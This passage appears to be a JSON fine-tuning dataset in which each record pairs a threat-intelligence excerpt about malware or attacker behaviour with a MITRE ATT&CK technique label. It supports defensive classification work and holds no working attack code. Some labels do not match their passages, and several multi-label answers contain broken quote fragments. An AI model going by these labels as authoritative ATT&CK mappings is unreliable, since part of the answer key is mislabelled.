                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used batch scripts and scheduled tasks to delete critical system files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gh0st RAT operators have used dynamic DNS to mask the true location of their C2 behind rapidly changing IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RedLeaves is launched through use of DLL search order hijacking to load a malicious dll."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SharpStage can execute arbitrary commands with PowerShell."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a custom encryption algorithm on data sent back to the C2 server over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZLib has sent data and files from a compromised host to its C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before evidence of BlackEnergy2 use in targeted attacks was uncovered, we tracked strange activity on one of the BlackEnergy CnC servers in 2013. This strangeness was related to values listed in newer BlackEnergy configuration files. As described in Dmitry’s 2010 Black DDoS’ analysis, a configuration file is downloaded from the server by main.dll on an infected system. The config file provides download instructions for the loader. In this particular case in 2013, the config file included an unknown plugin set, aside from the usual ‘ddos’ plugin listing. Displayed below are these new, xml formatted plugin names “weap_hwi”, “ps”, and “vsnet” in a BlackEnergy configuration file download from a c2 server. This new module push must have been among the first for this group, because all of the module versions were listed as “version 1”, including the ddos plugin"
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PlugX can use RC4 encryption in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADCALL collects the computer name and host name on the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent Tesla has dropped RegAsm.exe onto systems for performing malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - Signed Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IceApple can use reflective code loading to load .NET assemblies into `MSExchangeOWAAppPool` on targeted Exchange servers."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Night Dragon, threat actors used several remote administration tools as persistent infiltration channels."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As you can see from the VBScript file, the commands in the script are invoked using the wscript shell. It does two things: it creates a “RunOnce” key in the registry so that the VBScript is executed each time the user logs on the machine (indicating persistence) and second, the VBScript runs the executable file “firefox.exe"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To operate and evade standard analysis tools, most of the functions are hashed. The hashing algorithm has a high degree of similarity to the previous ShellTea version, with a slight modification of the seeds and constants. In this version, the attacker also utilizes functions from ole32 for stream processing"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As our research technique of fingerprinting exploit writers exceeded our initial expectations, we were on the lookout for more exploits to investigate. Soon enough, we came across this blog post from Kaspersky detailing how Sodin (a.k.a Sodinokibi, or REvil), an infamous ransomware, is using a 1-Day exploit for CVE-2018-8453."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Vulnerabilities', 'T1203 - Exploitation for Client Execution', 'T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerShell Cobalt Strike Beacon - New payload + new C2 domain - PowerShell Obfuscator - All the new PowerShell payloads are obfuscated using a publicly available script adapted from a Daniel Bohannon’s GitHub project. Using this tool, the attackers could overcome a password reset. Customized Windows Credentials Dumper - A PowerShell password dumper that is based on a known password dumping tool, using PowerShell bypass and reflective loading. The attackers specifically used it to obtain Outlook passwords. Customized Outlook Credentials Dumper - Inspired by known Outlook credentials dumpers. Mimikatz - PowerShell and Binary versions, with multiple layers of obfuscation"
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QuasarRAT has dropped binaries as files named microsoft_network.exe and crome.exe."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "steals credentials stored in Web browsers by querying the sqlite database and leveraging the Windows Vault mechanism."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Calisto presents an input prompt asking for the user's login and password."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before the driver is loaded, the malware disables crash dump by setting the following registry key"
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host', 'T1562.006 - Impair Defenses: Indicator Blocking', 'T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CookieMiner has used python scripts on the user’s system, as well as the Python variant of the Empire agent, EmPyre."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "netsh can be used to discover system firewall settings."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DropBook can collect the names of all files and folders in the Program Files directories."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conficker copies itself into the \"%systemroot%\\system32\" directory and registers as a service."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During C0015, the threat actors used Base64-encoded strings."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "shareDll, mshareDll, tshareDll Modules used to propagate Trickbot loader to connected network shares of the victimized machine. Modules used to propagate Trickbot loader to connected network shares of the victimized machine. wormwinDll, wormDll, mwormDll, nwormDll Modules used for spreading inside a local network of compromised machines via SMB. It uses the EternalBlue exploit. Modules used for spreading inside a local network of compromised machines via SMB. It uses the EternalBlue exploit. tabDll Module used to spread into the network using the EternalRomance exploit. Module used to spread into the network using the EternalRomance exploit"
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It is capable of the following functions:  Collect file/folder/drive information Download files and additional malware Launch/terminate/enumerate process Update configuration data Delete files Inject code from files to other running process Utilize proxy Open reverse shell Run in passive mode — instead of actively connecting to the command and control (C&C) server, the backdoor will open and listen to a port then receive commands through it  Once the backdoor is loaded, it will then load the encrypted configuration file Auditcred.dll.mui/rOptimizer.dll.mui to extract the C&C information and connect to it"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the first resolved domain IP address starts with 24.125.X.X, then it is set to 1"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fox Kitten has exploited known vulnerabilities in Fortinet, PulseSecure, and Palo Alto VPN appliances."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group malware has maintained persistence on a system by creating a LNK shortcut in the user’s Startup folder."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxShell.dll is injected in a shared SVCHOST process. The Svchost group registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SvcHost is opened and the netsvc group value data is queried to generate a name for the service"
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actors leveraged publicly available utilities Adfind, BLOODHOUND, SHARPHOUND, and KERBRUTE on victim networks to collect Active Directory information and credentials. WMIC commands have been used to perform host reconnaissance, including listing installed software, listing running processes, and identifying operating system and system architecture. The actors have used a batch script to ping all servers identified during Active Directory enumeration and output the results to res.txt. The actors used the Nltest command to list domain controllers"
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crimson can determine when it has been installed on a host for at least 15 days before downloading the final payload."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) QEMU Linux images. 2) Shell scripts used to launch the QEMU images. 3) Daemons used to start the shell scripts at boot and keep them running. 4) A CPU monitor shell script with an accompanying daemon that can start/stop the mining based on CPU usage and whether the Activity Monitor process is running"
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To establish persistence,  identifies the Start Menu Startup directory and drops a link to its own executable disguised as an “Office Start,” “Yahoo Talk,” “MSN Gaming Z0ne,” or “MSN Talk” shortcut."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification', 'T1036 - Masquerading', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Caterpillar WebShell can upload files over the C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This action is repeated until the dwell time value is bigger or equal to the dwell time value for the standby mode"
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mailman: communicates with a C&C server to receive commands and writes them to a file. It also sends the file with output from commands to the C&C server."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkVishnya used PowerShell to create shellcode loaders."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cannon can gather system information from the victim’s machine such as the OS version, machine name, and drive information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has disabled event logging on compromised systems."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers the computer name and checks the OS version to ensure it doesn’t run on a Windows XP or Windows Server 2003 systems."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "adds Registry Run keys to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For Operation Spalax, the threat actors obtained malware, including Remcos, njRAT, and AsyncRAT."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HyperBro has used a legitimate application to sideload a DLL to decrypt, decompress, and run a payload."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerSploit has several modules that search the Windows Registry for stored credentials: \"Get-UnattendedInstallFile\", \"Get-Webconfig\", \"Get-ApplicationHost\", \"Get-SiteListPassword\", \"Get-CachedGPPPassword\", and \"Get-RegistryAutoLogon\"."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GrimAgent can delete previously created tasks on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host', 'T1070.009 - Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ebury sequentially tries the generated domain names until it finds one that has a TXT record set by the operator. To verify the ownership of the domain, Ebury checks whether the TXT record can be decrypted using an RSA public key embedded in its code"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Octopus has compressed data before exfiltrating it using a tool called Abbrevia."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These emails included recruitment themed lures and contained links to malicious HTML application (.hta) files"
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has registered itself as a service to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We believe that the threat actors behind the Frankenstein campaign are moderately sophisticated and highly resourceful. The actors' preference for open-source solutions appears to be part of a broader trend in which adversaries are increasingly using publicly available solutions, possibly to improve operational security. This report outlines the various anti-detection techniques used throughout the Frankenstein campaign. Some of these techniques included checking to see if any analysis tools, such as Process Explorer, were running in the background and determining whether the sample was inside of a virtual machine. The threat actors also used different types of encryption in order to protect data in transit"
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "may collect permission group information by running net group /domain or a series of other commands on a victim."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can get a list of the processes and running tasks on the system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "spawns a new copy of c:\\windows\\syswow64\\explorer.exe and then replaces the executable code in memory with malware."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Threat Group-3390 tool can use a public UAC bypass method to elevate privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Following data collection,  has compressed log files into a ZIP archive prior to staging and exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang performs local network connection discovery using \"netstat\"."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can use a number of known techniques to bypass Windows UAC."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used application shim databases for persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QuasarRAT has a built-in keylogger."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CORESHELL downloads another dropper from its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has used WMI for execution."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 used 7-Zip to decode its Raindrop malware."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bandook is delivered via a malicious Word document inside a zip file."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 3 shows a code excerpt from the embedded macro that checks which base64 blob should be decoded based on the iCheck variable, a Boolean value which is set to true if the victim system is running on a 64-bit system and false on a 32-bit system. If the system is found to be 64-bit, the base64 encoded blob on the left is decoded otherwise the base64 encoded blob on the right is decoded"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains a command to collect and exfiltrate emails from Outlook."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can use TLS to encrypt its C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HEXANE has collected the hostname of a compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "build_downer can extract malware from a downloaded JPEG."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
